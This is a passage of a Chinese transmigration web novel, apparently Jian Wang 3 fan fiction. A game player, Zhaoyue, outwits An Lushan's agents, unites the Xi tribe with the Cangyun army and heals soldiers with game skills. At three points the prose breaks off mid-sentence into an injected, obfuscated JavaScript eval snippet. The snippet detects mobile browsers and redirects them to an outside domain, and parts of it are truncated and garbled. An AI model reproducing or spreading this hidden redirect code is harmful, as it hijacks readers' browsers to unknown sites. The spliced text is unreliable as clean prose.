照月按住他,温声道:“小将军莫急,且再等等,我和煖煖姐商量过,那些奚人既然没在刚才劫粮时便将我等乱刀砍死,反而要求活捉,必有其用意。不知你可曾注意,刚才那个头戴白毡帽的本想对我们暗下杀手,却被同伴拦住了,想必他们曾收到活捉我们的命令……” “喂,你们两个干什么呢?老实点!”马车被门口的守卫踹了一脚,摇晃起来。 李无衣扶了一把被晃得东倒西歪的照月,深深看了她一眼,没再说话。 篝火燃起来了,烤羊腿和粟米粥的香气也从外面飘了进来。 照月从车窗向外看去,见几个打扮不俗的奚人从一处格外宽敞的毡帐中走了出来,焦点列表里也多了几个名字,想必其中就有奚人的首领。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345211|183490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一个粗犷的男声爽朗笑道:“来啊,给我们远道而来的‘朋友’松绑,怎么能如此粗鲁地对待他们?今日乃我奚族丰收之日,当一同庆祝才是!” “俘虏”们个个浑身颤抖,单从表面完全看不出他们都是能赤手空拳以一当十的苍云精锐。 “首领,我们还截获了一辆马车,里面还有两个细皮嫩肉的小姐公子呢。” “哦?快请出来!” “照月姑娘……”李无衣欲言又止,显然听出了那奚人首领语气中的不善,但照月只来得及抛给他一个见机行事的眼神便被门口的守卫拽了出去。 离开马车,照月趁机环顾四周,发现这片空地乌压压地围了好几圈人,明显有士兵也有平民,妇女带着孩子,少年搀着老人,大有可能集合了整个部落。 但是,公主不在其中。 照月微微蹙眉,正想要不要按计划谎称是宜芳公主故交,求见一面,便听得一名士卒来报:“首领,公主她……” “她来干什么?让她回去,我晚上自会过去。” 李延宠挥了挥手,心中颇有些烦躁。 此次丰收来得太过容易,黄金般的粟米不光能填饱儿郎的肚子,还能喂大他们的野心。 阿会苏自劫掠归来就一直向他进言,历数近日唐兵对奚族的挑衅,又道公主自恃身份高贵,还从那膏粱满地的富贵窝里来,心中恐怕总是瞧不起他们的。 他李延宠又不是石头,当然看得出这宜芳公主心中悲苦,听说还在来的路上作了首酸诗。到部落之后也不喜与他亲近,只知道捧着书看,要么就是带着他派去的侍女到湖边钓鱼,偏偏鱼上钩了也不收竿,真不知这金尊玉贵的脑袋里整天在想些什么。 与他偶尔闲话也只知道劝他约束手下,莫要到大唐掳掠……他便知这妇人的心还向着她梦里的长安呢。 李延宠越想越心烦,只顾拿着酒囊往腹中灌酒,忽听见一道熟悉的女声—— “部族如此喜事,首领却不愿我在场吗?这商队自何而来,首领当初又如何承诺于我,可还作数?” 四周的热闹忽地像被满山的冰雪封住,随着那道盛装打扮的丽影翩然而至,营地里的气氛变成了一种令人窒息的尴尬。 “首领……”阿会苏在李延宠耳边欲言又止地唤了一声,眼底藏着一丝杀机。 酒意上头的李延宠摇摇晃晃地站起来,拿手指着宜芳:“我不是让你回去吗?你竟敢违抗我的命令?” 宜芳望着他,目光沉静而忧郁,还暗藏着一丝微不可察的失望:“放了这些大唐百姓,我便回去。只这册书请首领收下,与各位长老勇士仔细商议其中……” 叮当一声,却是一把匕首擦过公主的发髻,落到雪地里。 “谁?” “保护公主!抓住首领身后那个奚人!” 照月离得近,清楚地看到那匕首似是从奚人首领处飞来,实则出自他背后那道人影。 她当机立断,趁周遭奚人为公主首领之间的争执分心时吹响了号角。 刚刚还作噤若寒蝉之状的“俘虏”们瞬间暴起,扑向自己的目标。 而照月自己则颤抖着手,点向表情动作快捷栏中的一个人形标志。 啊啊啊啊,太羞耻了! 踏水凌波乘风去,霞光万丈见洛灵。 皑皑白雪中竟平地生出一阵风,不知从何而来的水流包裹着一个被游鱼环绕的身影直上云霄,黑沉天幕惊现出一道龙影。 乒铃乓啷的脆响中,越来越多的兵器掉到地上。 龙影渐渐消散,万道霞光中只余一个翩若惊鸿的身影。 那道身影于高空翩然坠地,一身流光璀璨的霞衣,乌发后白纱垂落,脑后有一满月般圆盘,佛光普照,映出观音面上一点红痣,她向着人群中央走来,脚下步步生莲。 “是菩萨!” 不知是哪个奚人孩子喊了一声,无数身影如潮水般拜服下去。 李无衣把公主护在身后,目瞪口呆地望着那张已算得上十分眼熟的脸,又下意识看了一眼照月刚才所在方位——自然已是空无一人。 “乖乖……” 付云煖难掩错愕的声音从他耳边传来:“她只告诉我自己会些装神弄鬼的小把戏,却没说竟然是……” 李无衣想起那个“见机行事”的眼神,看着已经跪倒一片的奚人,唯有手足无措之感。 见机行事,所见何机,所行何事啊? 4. 顺水推舟候东风 奚人营地,首领帐中。 照月顶着众人让她头皮发麻的目光,将头饰面挂脚印一通拆卸,这才稍稍松了口气。 “你……”李无衣刚要开口,却不知被谁扯了一把——戏还没演完呢。 “放肆!怎可如此对菩萨说话!”李延宠呵斥道,望向照月的目光中仍旧带着丝明显的敬畏与惊惶。 更令他惶恐的是,这“菩萨”反而转过身冲他拱手一礼,岂不是……岂不是折他的寿吗? “首领见怪,我并非什么菩萨仙子,不过一闲散江湖客,方才假借神佛名义,亦是权宜之计。”照月在周围人怀疑的眼神中肃容道,“然幻象是假,来意却为真,方才所言亦为真。” 她指向一旁被燕疏影和白晴联手制住的阿会苏,沉声道:“我言此地有妖魔作祟,实则妖魔不在他处,而在人心。” “呸,你这——唔,唔唔!”那阿会苏听她坦言自己只是装神弄鬼,脸上瞬间神色大变,张口便要拿奚族话骂人,却被白晴干脆利落地堵上嘴,只能可怜巴巴地向首领和长老求救。 阿古达木锐利的目光扫视过营帐中与照月隐隐站在一处的“俘虏”们,冷哼一声:“你们不是商队,是那雁门关上的唐人守军。” 李延宠顿时拍案而起:“好啊,尔等屡屡挑衅我族,此次更是——” 雪亮刀光划过,转眼间锋刃相撞的脆响便已起伏数次,最终以奚族人被齐齐压制作结。 李延宠怒道:“尔等唐人背信弃义,然就算我们死在这里,帐外还有我奚族万千好儿郎,你们这些狡诈的罪魁必要为我们偿命!” “首领不必为我们担忧。”照月从袖中掏出一样东西,随意抛了抛,似笑非笑道,“我们带来的粟米味道不错吧,可若我说那粮车另有玄机,每辆车中都藏着这个——” “神机雷?你什么时候——”李无衣定睛一看,瞬间变了脸色,猛地看向照月,却只见她对自己眨眨眼,递了个故弄玄虚的眼神。 另一边的付云煖则悄悄做了个手势,按下同样心生惊愕的苍云众人。 要不是她作为这场行动的主要负责人,对照月的计划所知更多,怕也是这种反应。 想当初这姑娘随手拿出一颗神机雷的时候,她和忆眉也都吓了一跳呢,还私下猜测过这古怪的长歌弟子到底有多少稀奇玩意儿。 照月面上从容自若,实则心里隐隐发虚,毕竟她只有十颗神机雷——穿越前交帮会订单出的,日常放在物品快键栏,每周混攻防的时候用。 这也是她手里为数不多很有杀伤力的武器了,毕竟背包仓库都没解锁,快捷栏里除了神机雷就是许愿树、香膏、小推车之类的休闲玩具……总不能靠凭空变出的推车把人撞死吧。 帐中的奚人全都警惕又愤恨地看着照月手心的黑色圆球,气氛凝滞间,一道华服身影忽然站起身,缓慢却坚定地走到照月面前。 “这位……姑娘。”宜芳公主有些好奇地望着面前不过十一二岁的少女,迟疑道,“我观姑娘不是心狠手辣之徒,又与苍云军一道……圣上命我出降奚部,乃是为双方睦邻友好,以免百姓流离失所,家破人亡……” 她站在帐中,悲悯的目光缓缓划过每一张脸,最后又看向照月:“今日之事,可有误会?” 照月也望着这个纤细消瘦却气度不凡的身影,暗暗在心里赞了一声,笑道:“公主容禀,装神弄鬼乃是权宜之计,先兵后礼亦为迫不得已,为只为奚族与苍云军可暂时摒弃前嫌,开诚布公地谈上一谈。” 李延宠冷笑一声:“哼,跟他们有什么好谈的?” “那我只问首领,”照月看向他,“公主方才所言和亲之用意,首领可有异议?若要首领从大兴兵戈开疆拓土与百姓生生不息安居乐业之间择其一,二者不可得兼,首领又会作何选择?” 李延宠闭目不言,照月又看向一旁的阿古达木和几位有权参与决断的奚族勇士:“长老是何想法?诸位勇士呢?” “首领。”宜芳公主忽然唤了他一声,“首领可知我今天本打算交予你的书册有何用?” 她柔声坦言:“远嫁至此的确非我本意,我心中也的确常觉悲苦,然既担此重任,我虽才疏学浅,却也愿效文成先祖,牧民生息,使我大唐与奚族和睦相处,故月前常翻阅典籍,试图找到使奚族自给自足之法……” 乌日娜接过宜芳手中书册,将它翻开放到首领与长老面前,离开时还自以为隐蔽地狠狠踩了阿会苏一脚,惹得疏影和白晴莞然失笑。 “若真有此法……”李延宠语气艰涩,“若真有此法,我自是愿族人安居乐业,可是……” 他忽然抬起头对面前的苍云军怒目而视:“可是!是你们唐兵先行挑衅,多次扰我安宁,伤我儿郎,如今却要倒打一耙了吗?” “我等愿以苍云军旗为誓——”付云煖斩钉截铁道,“自我大唐与奚族议和,又派公主和亲之后,我苍云从未有一兵一卒私自进犯奚族!” “挑起战乱的分明是安——”李无衣忽然睁大了眼睛,似为自己脑海中闪过的念头心惊。 照月拊掌,旋身对随她前来的苍云将士一礼:“还请诸位将军见谅,照月此前对过往经历有所隐瞒,未能坦诚相待,实属情非得已。” 她心里又松了口气——终于可以把绞尽脑汁编出来的故事讲出来了。 “我自与师兄分开,确实曾北上阴山,也的确因偶见公主题诗而折返,只是在去往雁塔之前,我便已悄悄来过奚人营地,且目睹了一场战事。”照月摇摇头,叹道,“此与和亲之策自相矛盾,岂不怪哉?可更怪的是,交战过后的深夜,我却又目睹双方营地各有一人悄悄离开,于那深林之中相会,言谈之间颇有离间奚族与大唐之意。” “所以你装作重伤昏迷的模样,倒在了雁塔之下?”燕疏影问。 照月面露惭色,摇摇头道:“迷路跌落为真,不过我原本就打算去拜访苍云军,毕竟事关大唐与奚族,料想苍云极有可能牵涉其中,且师傅师祖与九龄公向来赞赏薛将军与玄甲苍云忠义果敢,故也有危急时刻求援之想。” 白晴爽朗道:“你这丫头,怎么不直说呢?” 照月腼腆一笑:“我初来乍到,人微言轻,自是不好直接说出自己的怀疑,更何况……” “怕也顾虑我苍云军中有人与那安禄山沆瀣一气,乃是一丘之貉吧。” “还可能被他表现出来的假象所蒙蔽……” “安禄山?”宜芳公主眉头紧锁,念出这个名字。 “我一介白身,本不敢轻易怀疑安大人,然挑起战乱的的确是范阳军……”照月瞄到阿会苏面上的惊恐之色,便指向他,“我想,或许这位‘勇士’知道的更多。” “呸!他算什么勇士?”李延宠对昔日心腹怒目而视。 乌日娜适时嚷道:“他今天还想趁机杀了公主!” 燕疏影摇摇头:“若公主被害,尔等奚人怕是不反也得反了。” “其实我不太能确定他是不是我当夜所见奚人。”照月望着阿会苏,谨慎道,“但请恕我直言,即便此人并非叛徒细作,放任其鼓动首领杀公主而反唐,也必有一天会铸成大错。” “多谢姑娘指点。来人,去搜查阿会苏的毡帐,莫要错过任何可疑之处!”李延宠直接下令,又反悔道,“不,我要亲自带人过去。” 苍云众人互相对视一眼,松开了对李延宠的禁锢。 李延宠揉了揉僵硬地脖颈,道:“诸位,请随我来。” 搜查结果算不上乐观,因为没能找到密信这类最确凿的证据,但也不算一无所获,在李延宠亲自搜查的情况下,毡帐里某些来路不明的珍宝便相当引人注目了。 付云煖主动请缨:“若首领信得过我们,可将此人暂交于我等,若是个软骨头,不消一盏茶的功夫,定能水落石出。” 照月默契接话:“早闻苍云军于审讯一道上颇为擅长,今天可要长见识了……” “别……我说……我说……” 最后一根稻草压到了瑟瑟发抖的骆驼上。 阿会苏悔恨交加地交代着被安禄山买通的始末,其间李无衣看了照月一眼,没忍住好奇道:“你们长歌门连我们擅审讯都知道?” 照月只是摇摇头,望着他笑道:“我们门派可没那么神通广大,师长们多的是手无缚鸡之力的文人雅士,可听不得这些,至于我怎么知道的……现在还不能说。” 事实上不过是因为在另一个时空,她还有个盾娘小号——剑三玩家常规操作,说不准她还该叫李无衣一声师兄呢。 安禄山收买阿会苏的手段无非是威逼利诱。 以荣华富贵相引,族人性命相逼,再于同苍云的旧仇上添一把柴,欲望的火焰便在心里烧出一片火海。 阿古达木恨铁不成钢地看着他:“阿会苏,真是你?唉,你糊涂啊……” 宜芳公主端坐在一旁,眉头紧锁,缓缓开口:“可是我不明白,安禄山为什么要这么做呢?破坏大唐与奚人之间的关系,于他而言,又有何用?” 李延宠坐在她旁边,似有亲近之意,却也只能捧着书册连连挠头,最后瞪着阿会苏问:“你这蠢货该不会是被骗了吧,那狗贼先逼我们反唐,再反过来对我们挥刀相向,这不就是那什么……贼喊抓贼?不对……养寇自重?也不对……” 乌日娜没忍住笑出声,宜芳叹了口气,看他一眼:“别想这个了……照月姑娘可有猜测?” 照月皱起眉:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345212|183490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只担心事情没那么简单,怕是醉翁之意不在酒……” “醉翁之意不在酒?这话倒颇有意思。”付云煖感慨了一句。 糟了!忘记现在是大唐,《醉翁亭记》还得几百年才能现世呢! 照月只能停止卖关子,给出自己的猜测——也是预知而来的剧情:“我只怕他打算一石二鸟,一来靠击败奚族为自己谋军功,二来……” “也可削弱我苍云。”李无衣沉声道,“奚人若南下犯边,又有细作从中引导,首当其中者必是我苍云而非他范阳军。” 燕疏影补充道:“更甚者,若我等僵持不下,介时他还能以支援为名坐收渔利……” “若我猜测,不仅如此呢?倘使我说,他也许有更大的图谋——”照月摇摇头,指了指跪在一旁垂头丧气的阿会苏,“不知你们可曾注意,他管安禄山那边的人叫……” “狼牙。” 如果游戏里的狼牙军像红衣教一样加入了声望系统,照月同他们之间恐怕早就是“仇恨”关系了,想必如果她把杀死两万狼牙军获得的“拔牙!”成就称号“无齿”顶在头上,瞧见她的狼牙军怕是会朝这个方向蜂拥而至。 唔……或许是个引出敌人的好法子呢。 “我以为那只是范阳军内部某些人的自称……”付云煖的声音打断了照月不着边际的联想,她脸上的笑已经彻底消失了,“但如果并非自称,而是……照月,你是不是怀疑安禄山在扩充私兵,拥兵自重,意图……意图谋反?!” “什么?”宜芳公主瞬间变了脸色,“必须尽快把这件事禀报圣上!” “公主且慢。”照月只能拦住她,“这只是一个猜测,我们手中没有证据,仅凭他一个人的证词,恐怕不足以引起陛下重视……” “请诸位义士助我。”宜芳公主对照月和苍云军行了一礼。 “公主不必如此,护卫大唐本就是我苍云军职责所在。” “我等皆不忍见贼人诡计得逞,睦邻再起兵戈……苍生何辜,黎民何辜啊。” 亦是,不忍见勇士忠良满腔热血却终为豺狼铺路。 照月拱手还礼,又道:“谋反一事虽是猜测,然安禄山屡次派兵侵扰奚族,挑起战乱,乃是事实,我想请公主与首领去信长安,将这破坏和亲大计之举如实上报。信中或可对安禄山‘忠心爱国’之举多加体贴,但若言辞中能稍显无奈、哭诉之意,恐更生奇效……” 宜芳恍然,顷刻间明白了这样做的用意。 照月笑了笑,继续道:“除此之外,既然我等已知晓他的谋划,若能顺水推舟,将计就计,或可揪出那狼牙军的尾巴,介时便有更多证据。只是欲成此计,许得奚族与苍云齐心协力,同心同德,否则……” 李延宠与阿古达木对视一眼,拍案道:“有何不可?决不能让那背信弃义的小人诡计得逞!说句不中听的,安禄山此獠这般人品,若他成事,恐我奚族危矣。” 照月点点头,在心里轻轻叹了口气。 原剧情也的确如此,狼牙军后来还伙同红衣教用幻药控制、奴役奚人为其做事,毁人家园、掠人妻女…… 世道多艰,无论国家种族,最苦的永远是底层的百姓。 “我们这便回营,将此间事宜禀报薛帅。”付云煖正色道,又对李延宠拱手,“苍云军旗为证,我等绝不会与反贼同流合污,此番合作,定要揪出那老贼的狼尾巴!” 最后,两名苍云精兵留下来护卫公主——当然,营地周遭还有更隐秘的暗卫,一名善于伪装探察的精兵被易容成了阿会苏的模样,以免被狼牙军提前发现异常。 奚族则遣长老阿古达木领勇士苏德、索朗变装随“商队”往雁门拜会统帅,详谈解围之计。 不过还有一事…… 临别前,李延宠面露迟疑:“若那安禄山有探子在附近,瞧见了先前的龙影佛光……” 照月摆摆手,回了趟马车,将一个盒子递给他:“若之后有人来问,便说是佛宝降世。” 盒子里装着她最近摸金开出的粒子特效挂件,应该能糊弄过去。 “只是,事成之前还请首领约束好族人,安禄山既能收买一个,便难保还有第二第三个阿会苏,此事关系重大,千万小心。” 留下护卫公主的苍云军主动道:“我们也会时刻注意。” “商队”在天光微亮时踏上了南归之路,李延宠目送这群不速之客兼新晋盟友离开,转身正准备回营帐,却在看见营地中央那几个装粟米麻袋时变了脸,差点一蹦三尺高。 “等等!那什么神机雷——” 路过的“阿会苏”淡淡说了一句:“诓你们的。” “你们——”李延宠仰天长啸一声,“狡猾的大唐人!” 5. 一壶浊酒誓同仇 马车沿着雪道一路前行,照月倚在厢壁上,持续紧绷的精神暂时松懈下来,马车摇晃间颇有昏昏欲睡之感。 然而身侧时不时投过来的目光如有实质,让她不得不打起精神应对。 她看向那目光所属之人,问道:“长老如此看我,是否仍心有疑虑?” 阿古达木摸着胡子,评价道:“你这女娃,心思玲珑,巧舌如簧,三言两语引得我奚族与这苍云军皆按你心思行事,着实不似常人。” 照月谦虚道:“长老谬赞,我所赖不过先贤智慧,此番和谈若能成事,也多仰仗苍云诸将与奚族勇士为民着想,不愿再起兵戈,祸乱此地。” 阿古达木哼笑一声:“我可不是夸你——我且问你,先前那观音降世般的奇景,真是你口中装神弄鬼的小伎俩?” 此话一出,连另一边的李无衣也不免好奇地看向她。 照月在心里直呼救命,就知道在这唯物主义还未传开的世界,假借鬼神之说总有弊端,可这偏偏是能解眼下危局最快捷的方法…… 她只能硬着头皮胡诌:“不过是依赖于光影之变。不知长老可曾听过,春秋战国时,有墨家巨著《墨经》,言说光与影的关系……” 在她乱七八糟扯了一通光学原理后,奚人长老听得迷迷糊糊,最后不知怎的,忽然一拍大腿,打断她:“皆是故弄玄虚!你假借神佛之名,岂不是对祂们不敬?” 李无衣先一步反驳:“照月姑娘秉持忠义之心,行侠义之事,求的是慈悲善果,纵是神佛亲至,又岂会追究?” 照月原本就因东拉西扯口干舌燥,听到阿古达木言语难免更生烦扰,此刻却觉得穿越而来悉心谋划的每件事都是值得的。 她拍拍李无衣的肩,昂首答道:“若天上人间真有神佛,若祂对众生心有慈悲,知我所行当不会怪罪,我也自会心中感念;可倘若那神佛只知高高在上,受万民香火却无恻隐之心,冷眼旁观世道纷争百姓流离,那我等被视为蝼蚁之人又何必信祂敬祂?” 这些掷地有声的肺腑之言,自然也不单单针对神佛。 阿古达木忽然朗声大笑:“此行足以成事。” 此后一路无话。 照月都不知道自己什么时候睡了过去,再醒来时马车已入雁门关。 “到了。”阿古达木已经下了车,李无衣的手悬在她肩上,笑道,“总算醒了,正打算叫你呢。” 照月坐直身子,胡乱抹了把脸,厚着脸皮小声嘟囔了一句:“我还小嘛。” 她现在的身体毕竟不过小学生年纪,话说回来,也不知道以后能不能正常长大…… “有此一行,可不敢把你当成寻常孩童。”李无衣也已下了马车,闻言不由失笑,伸手想扶她一把,照月已经自己跳下车来,还催促他去见薛直和燕忘情。 这阵子她们忙着奚族之事,苍云军其他统领自然也没闲着。 主帅帐中气氛颇为沉凝,皆因面前这一纸密信。 “安禄山这厮,竟然命其子安庆绪组建了一支‘狼牙’军,甚至范阳军大半已编入狼牙,必然所图重大,需得速速禀明圣上!” 燕忘情眉头紧锁,仔细看着密信上的文字,沉吟道:“负责监视安禄山的,除却我等,还有被圣上亲自遣入范阳军中的密探,可是纵观现今朝堂,圣上对安禄山宠信有加,似是对狼牙之事全然不知,恐怕那密探已投了这狼牙之主,若我等不能拿到足够证据……” 风夜北同样缓缓摇头:“比起边将,圣上怕是更信任那位密探。过往几年朝中亦曾有官员揭露安禄山野心勃勃,君不见这些人犯颜直谏的下场,就连九龄公都被罢去宰相之位……这当中必然少不了那位密探混淆视听。” “只恨我们不知此人真身,否则,若能擒住他……”申屠远咬着牙拍了把桌案。 薛直苦笑:“眼下确实不是上报朝廷的好时机,可若放任此人做大……” 这时,燕忆眉匆匆走进帐中,眉宇间竟有几分喜色:“薛帅,云煖他们回来了,同行还有奚人长老,希望能同我们好生和谈。” “哦?快请他们进来。” 付云煖先一步进了营帐,详细描述了此行种种,最后不免感慨:“若非及时发现,只恐奚人首领被心腹煽动,杀公主而反唐,再南下欲往关内掳掠,介时最好的情况不过是那位安大人助我等平叛奚人之乱,而最坏的后果……怕只怕我们毫无防备、腹背受敌。” 薛直与燕忘情对视一眼,前者试探着问:“腹背受敌……何出此言?” 付云煖抿了抿唇,谨慎道:“只是猜测,但不得不防,我们怀疑那安禄山有可能暗中组建了一支名为‘狼牙’的军队……” “并非猜测!”宋森雪磨了磨牙,恨声道,“那厮恐怕正是打着这个主意。” 付云煖瞄了瞄诸位统领阴沉的脸色,瞬间了然:“看来‘狼牙’军一事情况属实,证据确凿——他果然包藏祸心,意图……” “一个藩将,扩充私军,拥兵自重,还要瞒着尔等监视者,谋反之意自是昭然若揭!”阿古达木和另外的奚人勇士跟着引路的燕疏影等人走进帅帐,照月和李无衣缀在最后。 “有关狼牙之事,我们的确得到了真实情报。”薛直苦笑着坦诚,“不料我等身负监察防范之责,却被此獠全然蒙蔽,险些铸成大错。” “想是那倒戈之人早已将我方布置泄露得一干二净,敌暗我明,自是防不胜防。”风夜北轻敲桌案,“为今之计,只能先找机会拿到切实证据。” 他看向营帐中难掩愤怒的奚人,笑道:“既然安禄山在奚族早有安排,意在逼迫诸位谋反,且顺了他的心,又有何妨?” 阿古达木摇头:“此事说来容易,怕只怕弄假成真,需得掌握好其中程度。” “既然公主安然无恙,若有她作证,自然不怕有心人污蔑奚族。” “试问将军,公主与那安贼,在唐皇心中孰轻孰重?” 照月也在一旁思索这件事,以她这个“后世人”的眼光,公主的分量恐怕还比不上安禄山,可若能先发制人,却也未尝不能胜上一筹。 她拽了拽一旁正襟危坐的燕忆眉,低声问:“忆眉姐,此去长安送信,八百里加急需要多久?普通驿使又需要多久?” 燕忆眉沉思片刻,报给她两个数字,照月在心里算了算,有了主意。 伫立一旁的燕疏影瞧见她面上神情,不由问道:“照月,你可是又有什么想法?” “照月姑娘不妨说来听听。”薛直温声道,“此番能解除奚族与我苍云之间的误会,姑娘功不可没,若有妙计,尽可一说。” “那我便献丑了。”照月拱手道,“此计或可名为‘演武’,但最关键者还在于信报长安的时间,以免安禄山倒打一耙……” 无论是奚族还是苍云,哪一方先行出兵都有可能被扣上破坏和亲之计的帽子,但若是双方提前协商,模拟战场的一场“演武”呢,也就是现代常说的“军事演习”。 之所以说关键在于上报长安的时间,是因为安禄山绝不会坐以待毙。 为免打草惊蛇,苍云军很难立刻将安禄山谋反之心上报,将计就计自是好谋略,可他们的敌人也不是好对付的。 假如安禄山发现奚人反唐为假,下一步恐怕就是尽快上报长安,趁着边疆战事尚且不为人知,利用他在朝堂后宫的人脉先一步贼喊抓贼,把反叛的帽子彻底扣在奚人头上,没准还能借此污蔑苍云军失职,这便也是阿古达木的担忧了。 所以,最好能卡在安禄山反诬成功的时间把“演武”之事报告朝廷,杀他个措手不及。 “安禄山或许会派人拦截八百里加急驿报,却可能忽略早于战事出发的普通驿使,但保险起见,最好还是由统帅派苍云精锐亲往长安送信……” 照月边想边说,在帐内缓缓踱步:“且这写信者也有讲究,以个人愚见,不宜由苍云出面,最好由公主以家书闲话形式道出,再由薛帅于正式奏折上报‘演武’顺利结束,收获颇丰,或可引为练兵之策……” “妙哉!”风夜北拊掌赞叹,“而后再言及范阳军误把演武当真,领兵来援,却在途中被我方发现异常,最好能擒住几个对我们出手的狼牙士兵,一并送到长安去!” 照月也说得心潮澎湃,继续道:“做戏做全套,若诸位统领在朝中或其余军中有交好之人,如若方便,亦可在心中略提‘演武’之事,例如某年某月某日与某位奚族勇士大战三百回合,酣畅淋漓云云……还有那收信人……” 李无衣无奈打断她的劲头:“且说慢些,照月,容我把这些一一记下来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“安禄山狼子野心,图谋不轨,今为破豺狼奸计,我苍云军与奚族盟友于此立誓,必将同心协力,众志一心,合诛此獠!” “绝不让脚下这片土地为阴谋所乱,绝不让吾等姊妹兄弟为私利牺牲!” 照月和他们一同站在墨色的苍云旗下,手里也捧着一只陶碗,脑海中回响的却是另一番话—— “在墨色苍云席卷之下,穿透这片大地的阳光终将到来。苍云所属,皆为同袍兄弟姊妹,当誓死相护。 “凡因私欲叛国、背信、不义、害民者,皆为苍云锋刃所向。与苍云信条相背之事,只问是非,无有余地。 “苍云之动,不为天开,不为雷动,不为霜停。” 那是原本剧情线中,雁门关之役后不足百人的苍云军在长孙忘情带领下立下的血誓。 呼天不闻复何补,血染旌旗誓昭昭…… 然而今时今日,一切都将不同。 天若不闻,她便偏要捅破这天,只要不让那墨色旗帜再染上千万将士的鲜血。 “诸君,共浮一大白!” 照月红着眼,干了那碗烈酒,又被呛出几滴眼泪。 她听见申屠兄弟和宋森雪豪爽的笑声,听见燕忆眉和付云煖好气又好笑的“责怪”,肩上是燕忘情温暖的手……一切都是值得的,一定可以成功。 “系统载入中……三,二,一……侠士,诶?侠士,你怎么哭了?不哭了不哭了……” 瞧啊,连系统都回来了呢。 其他人都看不见的小肥啾手忙脚乱地在她头上跳来跳去,还没厘清现在的情况就绞尽脑汁地安慰她…… 照月不由破涕为笑。 她擦干眼泪,在身旁众人的鼓动下学着他们的模样将那只陶碗砸在地上。 清脆响声与爽朗笑声里,无言豪情充满了整幅胸襟。 月余,又是一场大雪过后,雁门关哨塔上忽然升起一阵狼烟。 “敌袭——” 号角声响彻云霄,无数玄衣铁甲的身影集合在点将台边,宋森雪领着先锋营率先冲锋上前:“随我杀——” 照月抱着琴,和风夜北并肩站在长城上,遥遥望着另一个方向。 “他们动了。” 6. 千金垂堂识民忧 血腥气,雪的气息,烽烟的气味…… 城楼上号角呜呜,鼓声阵阵,关外战场喊杀声不断,关内安置伤兵的地方同样热火朝天。 “绷带不够了,再取些过来!” “汤药!汤药熬好了没?” “林姑娘,林姑娘!这里有个刚送来的奚人,爬长城的时候摔下去了!” “把他安置在那里千万不要动,我马上就来!” 林画扇把额头上汗湿的头发拨到耳后,麻利地为一个苍云伤兵包扎好伤口,立刻起身匆匆往安置奚人伤员的地方赶。 没等走近,反倒先听见一阵琴音,正是:“太音三引梅花渡,凌雪半融曲生香。” 画扇喜上眉头,走进医帐:“照月!你不是和夜北在哨塔上吗?” 照月拨弦的手未停,只是扬声道:“东面范阳军营隐有动静,料想诱敌之计已成,路上遇到薛坚和小折,听闻医帐缺人,我便过来了。” “多亏有你。”林画扇已经为那摔下长城的奚人把了脉,“早闻天音知脉绝技可引导受损经脉,平复伤势,今日总算得见……这位奚人勇士,你经脉筋骨已无大碍,只是还有淤血未清,近日仍需好生将养。” 天音知脉……咳,应该也算吧,毕竟按门派原本设定,长歌门相知剑意莫问曲都主攻击,天音知脉才是治疗术,但游戏里实装心法却变成了莫问为输出,相知是治疗。 照月想着,在焦点列表选中附近血量最低的伤兵,读了一记“宫”。 揉弦捻孤韵,喏喏语沉吟,傍身招式读条结束,只有她能看见的加血绿字自那人头上冒起,血条瞬间回满一大半。 与此同时,阳春白雪曲风下,照月周围二十尺的伤员头上都有了“角”的持续加血状态。 刚刚那奚人似乎还未从伤势恢复的惊愕中回过神,闻言愣愣地挠了挠头:“啊?跌下来的时候俺还以为要去见萨满神了呢,没想到首领没唬人,竟被苍云军捡回来救了。” 周围伤兵纷纷附和:“对啊,早先觉得那要求古怪得很哩,说什么只是比武,不能伤及对手要害,不然反要罚俺们。” “俺还以为首领被唐人骗了,最开始还想往那苍云军脖子上砍,结果反倒被苏德从背后掀翻了……看来真不是打仗,讲究个点到为止。” “首领不都说了吗?你们这些人就是想太多,没见那穿着铁甲的兵也个个对我们留了一手嘛……” “那你这家伙又是怎么伤成这样的?” “嘿嘿,躲刀子的时候不小心跌了一跤,脑袋磕石头上了……” 林画扇和照月对视一眼,面上颇有几分无奈。 照月又看了眼焦点列表,发现这处伤员的血量都已回到安全范围,也没有人在持续掉血,便收琴起身,准备往下个地方去。 “林姑娘,我去别处看看。” “好,你这绝技可于生死攸关之际救人性命,是要用在最紧要的地方。” 照月点点头,深觉自己应该待在两军交战的最前线。 安安静静蹲在她头顶的肥啾轻轻扇了扇翅膀,轻声道:“我知道侠士为什么会先选择解锁自己不熟练的心法了。” 照月刚要开口,忽然有一个身影迟疑着从旁边营帐里走了出来,竟是宜芳公主。 说来也颇令人感慨,约定之中“演武”行动开启的前一晚,雁门关忽然迎来了一个意想不到的客人——李延宠在这关头把公主送来了苍云安置。 